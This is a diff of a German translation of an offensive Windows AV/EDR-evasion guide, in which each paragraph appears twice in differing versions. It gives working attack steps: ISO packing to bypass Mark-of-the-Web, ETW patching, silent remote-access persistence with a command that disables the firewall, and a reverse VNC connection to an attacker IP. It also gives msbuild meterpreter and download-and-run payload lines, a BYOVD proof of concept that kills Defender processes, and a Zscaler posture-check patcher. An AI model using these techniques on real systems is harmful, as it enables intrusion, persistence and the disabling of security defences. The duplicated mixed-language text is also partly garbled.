<figure><img src="../images/image (237).png" alt=""><figcaption><p>Prüfen des Zone.Identifier-ADS einer aus dem Internet heruntergeladenen Datei.</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Wichtig: Mit einem vertrauenswürdigen Signaturzertifikat signierte ausführbare Dateien lösen SmartScreen nicht aus.
|
||||
> Es ist wichtig zu beachten, dass ausführbare Dateien, die mit einem **vertrauenswürdigen** Signaturzertifikat signiert sind, **SmartScreen nicht auslösen**.
|
||||
|
||||
Eine sehr effektive Methode, um zu verhindern, dass Ihre payloads die Mark of The Web erhalten, besteht darin, sie in einen Container wie eine ISO zu verpacken. Das liegt daran, dass Mark-of-the-Web (MOTW) **nicht** auf non NTFS volumes angewendet werden kann.
|
||||
Ein sehr effektiver Weg, zu verhindern, dass Ihre payloads das Mark of The Web erhalten, besteht darin, sie in einen Container wie eine ISO zu packen. Das liegt daran, dass Mark-of-the-Web (MOTW) **nicht** auf **nicht-NTFS**-Volumes angewendet werden kann.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ist ein Tool, das payloads in Container verpackt, um Mark-of-the-Web zu umgehen.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) ist ein Tool, das payloads in Ausgabecontainer verpackt, um Mark-of-the-Web zu umgehen.
|
||||
|
||||
Beispiel:
|
||||
Example usage:
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
@ -389,51 +387,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) ist ein mächtiger Logging-Mechanismus in Windows, der Anwendungen und Systemkomponenten erlaubt, Ereignisse zu **protokollieren**. Allerdings können Sicherheitsprodukte ETW auch nutzen, um bösartige Aktivitäten zu überwachen und zu erkennen.
|
||||
Event Tracing for Windows (ETW) ist ein mächtiger Logging-Mechanismus in Windows, der Anwendungen und Systemkomponenten erlaubt, **Ereignisse zu protokollieren**. Er kann jedoch auch von Sicherheitsprodukten genutzt werden, um bösartige Aktivitäten zu überwachen und zu erkennen.
|
||||
|
||||
Ähnlich wie AMSI deaktiviert (bypassed) werden kann, ist es auch möglich, die Funktion **`EtwEventWrite`** des User-Space-Prozesses so zu verändern, dass sie sofort zurückkehrt, ohne Ereignisse zu protokollieren. Das geschieht, indem die Funktion im Speicher gepatcht wird, sodass ETW-Logging für diesen Prozess effektiv deaktiviert wird.
|
||||
Ähnlich wie AMSI deaktiviert (umgangen) werden kann, ist es auch möglich, die Funktion **`EtwEventWrite`** eines user space process so zu manipulieren, dass sie sofort zurückkehrt, ohne Ereignisse zu protokollieren. Dies geschieht, indem die Funktion im Speicher gepatcht wird, sodass sie sofort zurückkehrt und damit das ETW-Logging für diesen Prozess effektiv deaktiviert.
|
||||
|
||||
Mehr Informationen finden Sie in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Das Laden von C#-Binaries in den Speicher ist schon lange bekannt und bleibt eine sehr gute Methode, um Post-Exploitation-Tools auszuführen, ohne von AV entdeckt zu werden.
|
||||
Das Laden von C#-Binaries in den Speicher ist schon seit einiger Zeit bekannt und ist weiterhin eine sehr gute Methode, um deine post-exploitation Tools auszuführen, ohne von AV entdeckt zu werden.
|
||||
|
||||
Da das Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns hauptsächlich darum kümmern, AMSI für den gesamten Prozess zu patchen.
|
||||
Da das Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur um das Patchen von AMSI für den gesamten Prozess kümmern.
|
||||
|
||||
Die meisten C2-Frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, usw.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Wege, dies zu tun:
|
||||
Die meisten C2-Frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Möglichkeiten, dies zu tun:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Dabei wird **ein neuer Opferprozess erzeugt**, in diesen Prozess wird dann der post-exploitation bösartige Code injiziert, der Code ausgeführt und nach Abschluss der neue Prozess beendet. Das hat Vor- und Nachteile. Der Vorteil der Fork-and-Run-Methode ist, dass die Ausführung **außerhalb** unseres Beacon-Implantat-Prozesses stattfindet. Das bedeutet, wenn etwas bei unserer Post-Exploitation-Aktion schiefgeht oder entdeckt wird, besteht eine **viel höhere Chance**, dass unser **Implantat überlebt.** Der Nachteil ist, dass die Chance, durch **Behavioural Detections** entdeckt zu werden, **größer** ist.
|
||||
Dabei wird ein **neuer Opferprozess gestartet**, dein post-exploitation Schadcode in diesen neuen Prozess injiziert, der Schadcode ausgeführt und nach Beendigung der neue Prozess wieder beendet. Das hat sowohl Vorteile als auch Nachteile. Der Vorteil der Fork-and-Run-Methode ist, dass die Ausführung **außerhalb** unseres Beacon-Implantatprozesses stattfindet. Das bedeutet, wenn bei einer post-exploitation Aktion etwas schiefgeht oder entdeckt wird, besteht eine **viel größere Chance**, dass unser **Implant überlebt.** Der Nachteil ist, dass du eine **größere Chance** hast, von **Behavioural Detections** entdeckt zu werden.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Hierbei wird der post-exploitation bösartige Code **in den eigenen Prozess** injiziert. Dadurch entfällt das Erzeugen eines neuen Prozesses und somit dessen Scan durch AV, aber der Nachteil ist, dass beim Fehlschlagen der Payload-Ausführung die **größere Gefahr** besteht, **den Beacon zu verlieren**, da der Prozess abstürzen könnte.
|
||||
Hierbei injizierst du den post-exploitation Schadcode **in den eigenen Prozess**. Auf diese Weise vermeidest du das Erstellen eines neuen Prozesses und dessen Scan durch AV, aber der Nachteil ist, dass wenn bei der Ausführung deines Payloads etwas schiefgeht, die **Wahrscheinlichkeit deutlich höher** ist, dein **Beacon zu verlieren**, da der Prozess abstürzen könnte.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Wenn Sie mehr über C# Assembly loading lesen möchten, schauen Sie sich bitte diesen Artikel an [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) und deren InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> Wenn du mehr über das Laden von C#-Assemblies lesen möchtest, sieh dir diesen Artikel an [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) und deren InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
Sie können C#-Assemblies auch **aus PowerShell** laden, siehe [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) und [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
Du kannst C#-Assemblies auch **aus PowerShell** laden, siehe [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) und [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
Wie in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) vorgeschlagen, ist es möglich, bösartigen Code mit anderen Sprachen auszuführen, indem man der kompromittierten Maschine Zugriff **auf die Interpreter-Umgebung auf dem Attacker Controlled SMB share** gewährt.
|
||||
Wie in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) vorgeschlagen, ist es möglich, bösartigen Code mit anderen Sprachen auszuführen, indem der kompromittierten Maschine Zugriff auf die Interpreter-Umgebung gewährt wird, die auf dem vom Angreifer kontrollierten SMB-Share installiert ist.
|
||||
|
||||
Indem man Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share erlaubt, kann man **beliebigen Code in diesen Sprachen im Speicher** der kompromittierten Maschine ausführen.
|
||||
Durch den Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share kannst du **beliebigen Code in diesen Sprachen im Speicher** der kompromittierten Maschine ausführen.
|
||||
|
||||
Das Repo weist darauf hin: Defender scannt weiterhin die Skripte, aber durch die Nutzung von Go, Java, PHP etc. haben wir **mehr Flexibilität, um statische Signaturen zu umgehen**. Tests mit zufälligen, nicht-obfuskierten Reverse-Shell-Skripten in diesen Sprachen waren erfolgreich.
|
||||
Im Repo heißt es: Defender scannt die Skripte weiterhin, aber durch die Nutzung von Go, Java, PHP etc. haben wir **mehr Flexibilität, statische Signaturen zu umgehen**. Tests mit zufälligen, nicht verschleierten reverse shell Skripten in diesen Sprachen haben sich als erfolgreich erwiesen.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping ist eine Technik, die es einem Angreifer erlaubt, **das Access-Token oder ein Sicherheitsprodukt wie ein EDR oder AV zu manipulieren**, sodass dessen Privilegien reduziert werden — der Prozess stirbt nicht, hat aber nicht mehr die Berechtigungen, nach bösartigen Aktivitäten zu suchen.
|
||||
Token stomping ist eine Technik, die einem Angreifer erlaubt, das Access Token oder ein Sicherheitsprodukt wie ein EDR oder AV zu manipulieren, wodurch dessen Privilegien reduziert werden, so dass der Prozess nicht beendet wird, aber nicht die Berechtigungen hat, nach bösartigen Aktivitäten zu prüfen.
|
||||
|
||||
Um dies zu verhindern, könnte Windows **verhindern, dass externe Prozesse** Handles an Tokens von Sicherheitsprozessen erhalten.
|
||||
Um dies zu verhindern, könnte Windows **externe Prozesse** daran hindern, Handles auf die Tokens von Sicherheitsprozessen zu erhalten.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -443,27 +441,27 @@ Um dies zu verhindern, könnte Windows **verhindern, dass externe Prozesse** Han
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Wie in [**diesem Blogpost**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) beschrieben, ist es einfach, Chrome Remote Desktop auf einem Opfer-PC zu installieren und es zu nutzen, um die Maschine zu übernehmen und Persistenz zu erreichen:
|
||||
1. Download von https://remotedesktop.google.com/, auf "Set up via SSH" klicken und dann die MSI-Datei für Windows herunterladen.
|
||||
2. Führen Sie den Installer auf dem Opferrechner im Silent-Modus aus (Administrator erforderlich): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Gehen Sie zurück zur Chrome Remote Desktop-Seite und klicken Sie auf Weiter. Der Assistent fordert Sie dann zur Autorisierung auf; klicken Sie auf Authorize, um fortzufahren.
|
||||
4. Führen Sie den angegebenen Parameter mit einigen Anpassungen aus: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Beachten Sie den pin-Parameter, mit dem die PIN gesetzt werden kann, ohne die GUI zu verwenden).
|
||||
Wie in [**diesem Blogpost**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) beschrieben, ist es einfach, Chrome Remote Desktop auf dem PC eines Opfers zu installieren und es dann zur Übernahme und zum Aufrechterhalten von Persistence zu nutzen:
|
||||
1. Lade von https://remotedesktop.google.com/ herunter, klicke auf "Set up via SSH" und dann auf die MSI-Datei für Windows, um die MSI-Datei herunterzuladen.
|
||||
2. Führe den Installer auf dem Opfer stumm aus (Administratorrechte erforderlich): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Kehre zur Chrome Remote Desktop-Seite zurück und klicke auf Weiter. Der Assistent wird dich dann zur Autorisierung auffordern; klicke auf die Authorize-Schaltfläche, um fortzufahren.
|
||||
4. Führe den angegebenen Parameter mit einigen Anpassungen aus: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Hinweis: der pin-Parameter erlaubt es, die PIN zu setzen, ohne die GUI zu verwenden).
|
||||
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Evasion ist ein sehr kompliziertes Thema; manchmal muss man viele verschiedene Telemetriequellen in nur einem System berücksichtigen, daher ist es nahezu unmöglich, in ausgereiften Umgebungen völlig unentdeckt zu bleiben.
|
||||
Evasion ist ein sehr komplexes Thema; manchmal musst du viele verschiedene Telemetrie-Quellen in einem einzigen System berücksichtigen, daher ist es in reifen Umgebungen nahezu unmöglich, vollständig unentdeckt zu bleiben.
|
||||
|
||||
Jede Umgebung, gegen die Sie vorgehen, hat ihre eigenen Stärken und Schwächen.
|
||||
Jede Umgebung, gegen die du vorgehst, hat ihre eigenen Stärken und Schwächen.
|
||||
|
||||
Ich empfehle dringend, sich diesen Talk von [@ATTL4S](https://twitter.com/DaniLJ94) anzusehen, um einen Einstieg in fortgeschrittene Evasion-Techniken zu bekommen.
|
||||
Ich empfehle dringend, dir diesen Talk von [@ATTL4S](https://twitter.com/DaniLJ94) anzusehen, um einen Einstieg in fortgeschrittene Evasion-Techniken zu bekommen.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Das ist auch ein großartiger Vortrag von [@mariuszbit](https://twitter.com/mariuszbit) über Evasion in Depth.
|
||||
Dies ist auch ein großartiger Talk von [@mariuszbit](https://twitter.com/mariuszbit) über Evasion in Depth.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -474,45 +472,45 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
Sie können [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) verwenden, das **Teile der Binary entfernt**, bis es **herausfindet, welchen Teil Defender** als bösartig einstuft und es Ihnen aufschlüsselt.\
|
||||
Ein weiteres Tool, das **das Gleiche macht**, ist [**avred**](https://github.com/dobin/avred) mit einem offenen Web-Angebot des Dienstes unter [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Du kannst [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) verwenden, das **Teile der Binary entfernt**, bis es **herausfindet, welcher Teil Defender** als bösartig erkennt und es für dich aufsplittert.\
|
||||
Ein weiteres Tool, das **das Gleiche macht, ist** [**avred**](https://github.com/dobin/avred) mit einem offenen Webservice unter [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Bis Windows 10 wurde Windows standardmäßig mit einem **Telnet-Server** geliefert, den man (als Administrator) wie folgt installieren konnte:
|
||||
Bis Windows10 wurde Windows standardmäßig mit einem **Telnet server** ausgeliefert, den man (als Administrator) installieren konnte durch:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Sorgen Sie dafür, dass es beim Systemstart **gestartet** wird, und führen Sie es jetzt **aus**:
|
||||
Stellen Sie es so ein, dass es beim Systemstart **startet**, und **führen** Sie es jetzt aus:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**telnet port ändern** (stealth) und firewall deaktivieren:
|
||||
**telnet-Port ändern** (verdeckt) und Firewall deaktivieren:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Herunterladen von: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (du willst die bin-Downloads, nicht das Setup)
|
||||
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
|
||||
|
||||
**AUF DEM HOST**: Führe _**winvnc.exe**_ aus und konfiguriere den Server:
|
||||
**ON THE HOST**: Führe _**winvnc.exe**_ aus und konfiguriere den Server:
|
||||
|
||||
- Aktiviere die Option _Disable TrayIcon_
|
||||
- Setze ein Passwort in _VNC Password_
|
||||
- Setze ein Passwort in _View-Only Password_
|
||||
- Setze ein Passwort bei _VNC Password_
|
||||
- Setze ein Passwort bei _View-Only Password_
|
||||
|
||||
Dann verschiebe die Binary _**winvnc.exe**_ und die **neu** erstellte Datei _**UltraVNC.ini**_ auf das **victim**
|
||||
Verschiebe dann die Binary _**winvnc.exe**_ und die **neu erstellte** Datei _**UltraVNC.ini**_ auf dem **victim**
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
Der **attacker** sollte in seinem **host** die Binary `vncviewer.exe -listen 5900` ausführen, damit er vorbereitet ist, eine reverse **VNC connection** abzufangen. Dann, auf dem **victim**: Starte den winvnc-Daemon `winvnc.exe -run` und führe `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` aus
|
||||
Der **attacker** sollte auf seinem **host** das Binary `vncviewer.exe -listen 5900` ausführen, damit es bereit ist, eine reverse VNC connection abzufangen. Dann, auf dem **victim**: Starte den winvnc-Daemon `winvnc.exe -run` und führe `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` aus
|
||||
|
||||
**WARNUNG:** Um unauffällig zu bleiben, darfst du einige Dinge nicht tun
|
||||
**WARNUNG:** Um unauffällig zu bleiben, darfst du ein paar Dinge nicht tun
|
||||
|
||||
- Starte `winvnc` nicht, wenn es bereits läuft, sonst löst du ein [popup](https://i.imgur.com/1SROTTl.png) aus. Prüfe, ob es läuft mit `tasklist | findstr winvnc`
|
||||
- Starte `winvnc` nicht ohne `UltraVNC.ini` im selben Verzeichnis, sonst wird [das Konfigurationsfenster](https://i.imgur.com/rfMQWcf.png) geöffnet
|
||||
- Führe `winvnc -h` nicht aus, um Hilfe zu erhalten, sonst löst du ein [popup](https://i.imgur.com/oc18wcu.png) aus
|
||||
- Starte `winvnc` nicht ohne `UltraVNC.ini` im selben Verzeichnis, sonst öffnet sich [das config window](https://i.imgur.com/rfMQWcf.png)
|
||||
- Rufe nicht `winvnc -h` auf, da sonst ein [popup](https://i.imgur.com/oc18wcu.png) ausgelöst wird
|
||||
|
||||
### GreatSCT
|
||||
|
||||
@ -534,13 +532,13 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
Starte jetzt den **lister** mit `msfconsole -r file.rc` und **führe** die **xml payload** mit:
|
||||
Starte jetzt den Lister mit `msfconsole -r file.rc` und führe die **xml payload** damit aus:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**Der aktuelle Defender wird den Prozess sehr schnell beenden.**
|
||||
|
||||
### Unseren eigenen reverse shell kompilieren
|
||||
### Kompilieren unserer eigenen reverse shell
|
||||
|
||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
@ -627,7 +625,7 @@ catch (Exception err) { }
|
||||
}
|
||||
}
|
||||
```
|
||||
### C# Compiler verwenden
|
||||
### C# using Compiler
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -647,7 +645,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Liste von C# obfuscators: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
Liste von C# Obfuscators: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -662,11 +660,11 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Beispiel zur Verwendung von python für build injectors:
|
||||
### Verwendung von Python zum Erstellen von injectors — Beispiel:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
### Weitere tools
|
||||
### Weitere Tools
|
||||
```bash
|
||||
# Veil Framework:
|
||||
https://github.com/Veil-Framework/Veil
|
||||
@ -695,26 +693,26 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR im Kernel Space deaktivieren
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – AV/EDR aus dem Kernel-Bereich deaktivieren
|
||||
|
||||
Storm-2603 nutzte ein kleines Konsolenprogramm namens **Antivirus Terminator**, um Endpoint-Schutzmaßnahmen zu deaktivieren, bevor Ransomware abgelegt wurde. Das Tool bringt seinen **eigenen verwundbaren, aber *signierten* Treiber** mit und missbraucht ihn, um privilegierte Kernel-Operationen auszuführen, die selbst Protected-Process-Light (PPL) AV-Dienste nicht blockieren können.
|
||||
Storm-2603 nutzte ein kleines Konsolenwerkzeug namens **Antivirus Terminator**, um Endpoint-Schutzmechanismen zu deaktivieren, bevor Ransomware abgelegt wurde. Das Tool bringt seinen **eigenen verwundbaren, aber *signierten* Treiber** mit und missbraucht ihn, um privilegierte Kernel-Operationen auszuführen, die selbst Protected-Process-Light (PPL) AV-Dienste nicht blockieren können.
|
||||
|
||||
Zentrale Erkenntnisse
|
||||
1. **Signierter Treiber**: Die auf die Festplatte geschriebene Datei heißt `ServiceMouse.sys`, aber das Binär ist der legitim signierte Treiber `AToolsKrnl64.sys` aus Antiy Labs’ “System In-Depth Analysis Toolkit”. Da der Treiber eine gültige Microsoft-Signatur trägt, wird er geladen, selbst wenn Driver-Signature-Enforcement (DSE) aktiviert ist.
|
||||
2. **Service-Installation**:
|
||||
Wichtigste Erkenntnisse
|
||||
1. **Signierter Treiber**: Die auf die Festplatte platzierte Datei ist `ServiceMouse.sys`, das Binary ist jedoch der rechtmäßig signierte Treiber `AToolsKrnl64.sys` aus Antiy Labs’ „System In-Depth Analysis Toolkit“. Da der Treiber eine gültige Microsoft-Signatur trägt, wird er selbst bei aktiviertem Driver-Signature-Enforcement (DSE) geladen.
|
||||
2. Service-Installation:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
Die erste Zeile registriert den Treiber als **Kernel-Dienst** und die zweite startet ihn, sodass `\\.\ServiceMouse` vom Benutzermodus aus zugänglich wird.
|
||||
3. **Vom Treiber exponierte IOCTLs**
|
||||
| IOCTL code | Capability |
|
||||
Die erste Zeile registriert den Treiber als **Kernel-Service** und die zweite startet ihn, sodass `\\.\ServiceMouse` aus dem User-Land erreichbar wird.
|
||||
3. Vom Treiber bereitgestellte IOCTLs
|
||||
| IOCTL code | Fähigkeit |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
|
||||
| `0x990000D0` | Delete an arbitrary file on disk |
|
||||
| `0x990001D0` | Unload the driver and remove the service |
|
||||
| `0x99000050` | Einen beliebigen Prozess per PID beenden (wird verwendet, um Defender/EDR-Services zu stoppen) |
|
||||
| `0x990000D0` | Beliebige Datei auf der Festplatte löschen |
|
||||
| `0x990001D0` | Treiber entladen und Dienst entfernen |
|
||||
|
||||
Minimaler C proof-of-concept:
|
||||
Minimaler C-Proof-of-Concept:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -726,28 +724,28 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Warum es funktioniert**: BYOVD umgeht User-Mode-Schutzmechanismen vollständig; Code, der im Kernel ausgeführt wird, kann *geschützte* Prozesse öffnen, beenden oder Kernel-Objekte manipulieren, unabhängig von PPL/PP, ELAM oder anderen Härtungsmechanismen.
|
||||
4. **Warum das funktioniert**: BYOVD umgeht vollständig user-mode Schutzmechanismen; Code, der im Kernel ausgeführt wird, kann *geschützte* Prozesse öffnen, beenden oder Kernel-Objekte manipulieren, unabhängig von PPL/PP, ELAM oder anderen Härtungsmaßnahmen.
|
||||
|
||||
Erkennung / Gegenmaßnahmen
|
||||
• Aktivieren Sie Microsofts vulnerable-driver block list (z. B. `HVCI`, `Smart App Control`), sodass Windows `AToolsKrnl64.sys` das Laden verweigert.
|
||||
• Überwachen Sie das Anlegen neuer *Kernel*-Dienste und alarmieren Sie, wenn ein Treiber aus einem für alle beschreibbaren Verzeichnis geladen wird oder nicht auf der Allow-List steht.
|
||||
• Achten Sie auf User-Mode-Handles zu benutzerdefinierten Device-Objekten gefolgt von verdächtigen `DeviceIoControl`-Aufrufen.
|
||||
• Aktivieren Sie Microsofts Liste blockierter verwundbarer Treiber (`HVCI`, `Smart App Control`), damit Windows das Laden von `AToolsKrnl64.sys` verweigert.
|
||||
• Überwachen Sie die Erstellung neuer *Kernel*-Dienste und alarmieren Sie, wenn ein Treiber aus einem global beschreibbaren Verzeichnis geladen wird oder nicht auf der Allow-List steht.
|
||||
• Achten Sie auf User-Mode Handles zu benutzerdefinierten Device-Objekten, gefolgt von verdächtigen `DeviceIoControl`-Aufrufen.
|
||||
|
||||
### Umgehen der Zscaler Client Connector Posture-Checks durch On-Disk Binary Patching
|
||||
### Umgehung der Zscaler Client Connector Posture-Prüfungen durch On-Disk Binary Patching
|
||||
|
||||
Zscaler’s **Client Connector** führt device-posture Regeln lokal aus und nutzt Windows RPC, um die Ergebnisse an andere Komponenten zu kommunizieren. Zwei schwache Designentscheidungen ermöglichen einen vollständigen Bypass:
|
||||
Der **Client Connector** von Zscaler wertet Device-Posture-Regeln lokal aus und verwendet Windows RPC, um die Ergebnisse an andere Komponenten zu übermitteln. Zwei schwache Designentscheidungen ermöglichen eine vollständige Umgehung:
|
||||
|
||||
1. Die Posture-Evaluierung findet **vollständig client-seitig** statt (es wird nur ein Boolean an den Server gesendet).
|
||||
2. Interne RPC-Endpunkte validieren nur, dass die verbindende ausführbare Datei **von Zscaler signiert** ist (mittels `WinVerifyTrust`).
|
||||
1. Die Posture-Bewertung erfolgt **ausschließlich clientseitig** (ein Boolean wird an den Server gesendet).
|
||||
2. Interne RPC-Endpunkte prüfen nur, dass die verbindende ausführbare Datei **von Zscaler signiert** ist (via `WinVerifyTrust`).
|
||||
|
||||
Durch das **Patchen von vier signierten Binaries auf der Festplatte** können beide Mechanismen neutralisiert werden:
|
||||
Durch **Patchen von vier signierten Binärdateien auf der Festplatte** können beide Mechanismen neutralisiert werden:
|
||||
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gibt immer `1` zurück, sodass jede Prüfung als konform gilt |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ jeder (auch nicht signierte) Prozess kann sich an die RPC-Pipes binden |
|
||||
| Binary | Ursprüngliche Logik gepatcht | Ergebnis |
|
||||
|--------|------------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gibt immer `1` zurück, sodass jede Prüfung compliant ist |
|
||||
| `ZSAService.exe` | Indirekter Aufruf von `WinVerifyTrust` | NOP-ed ⇒ jeder (auch unsignierte) Prozess kann sich an die RPC-Pipes binden |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Ersetzt durch `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | Umgangen |
|
||||
| `ZSATunnel.exe` | Integritätsprüfungen am Tunnel | Kurzgeschlossen |
|
||||
|
||||
Minimaler Patcher-Auszug:
|
||||
```python
|
||||
@ -763,22 +761,22 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
After replacing the original files and restarting the service stack:
|
||||
Nachdem die Originaldateien ersetzt und der Service-Stack neu gestartet wurden:
|
||||
|
||||
